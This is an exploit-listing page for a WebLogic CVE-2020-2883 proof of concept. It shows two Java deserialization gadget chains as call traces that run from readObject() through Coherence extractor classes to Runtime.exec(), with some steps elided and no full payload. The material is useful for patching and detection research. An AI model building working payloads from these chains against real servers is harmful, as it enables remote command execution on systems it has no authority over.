Sploitus

Exploit for Weblogic_CVE-2020-2883_POC

kitploit · 2026-08-26

Exploit Code

MARKDOWN39 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-MAGICZER0-WEBLOGIC_CVE-2020-2883_POC
# weblogic CVE-2020-2883 के लिए POC

poc1:

root@kitploit:~
    
    
     javax.management.BadAttributeValueExpException.readObject()
       com.tangosol.internal.sleepycat.persist.evolve.Mutations.toString()
         java.util.concurrent.ConcurrentSkipListMap$SubMap.size()
         java.util.concurrent.ConcurrentSkipListMap$SubMap.isBeforeEnd()
           java.util.concurrent.ConcurrentSkipListMap.cpr()
             com.tangosol.util.comparator.ExtractorComparator.compare()
               com.tangosol.util.extractor.ChainedExtractor.extract()
               com.tangosol.util.extractor.ReflectionExtractor().extract()
                 Method.invoke()
                 //...
               com.tangosol.util.extractor.ReflectionExtractor().extract()
                 Method.invoke()
                   Runtime.exec()
    

poc2:

root@kitploit:~
    
    
    java.util.PriorityQueue.readObject()
      java.util.PriorityQueue.heapify()
      java.util.PriorityQueue.siftDown()
      java.util.PriorityQueue.siftDownUsingComparator()
      com.tangosol.util.extractor.AbstractExtractor.compare()
        com.tangosol.util.extractor.MultiExtractor.extract()
          com.tangosol.util.extractor.ChainedExtractor.extract()
            //...
            Method.invoke()
                //...
              Runtime.exec()